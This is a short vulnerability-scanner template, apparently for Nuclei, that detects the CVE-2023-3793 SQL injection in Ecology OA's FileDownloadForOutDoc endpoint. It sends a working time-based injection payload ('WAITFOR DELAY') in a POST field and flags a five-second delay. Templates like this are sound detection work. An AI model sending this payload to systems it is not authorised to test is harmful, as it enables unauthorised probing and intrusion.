CVE-2023-3793.yml

id: ecology-oa-filedownloadforoutdoc-sqli

info:
  name: EcologyOA filedownloadforoutdoc - SQL injection
  author: unknown
  severity: critical
  description: EcologyOA filedownloadforoutdoc interface has SQL injection
  tags: ecology-oa,sqli

requests:
  - raw:
      - |
        POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close        

        fileid=2+WAITFOR DELAY+'0:0:5'&isFromOutImg=1
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'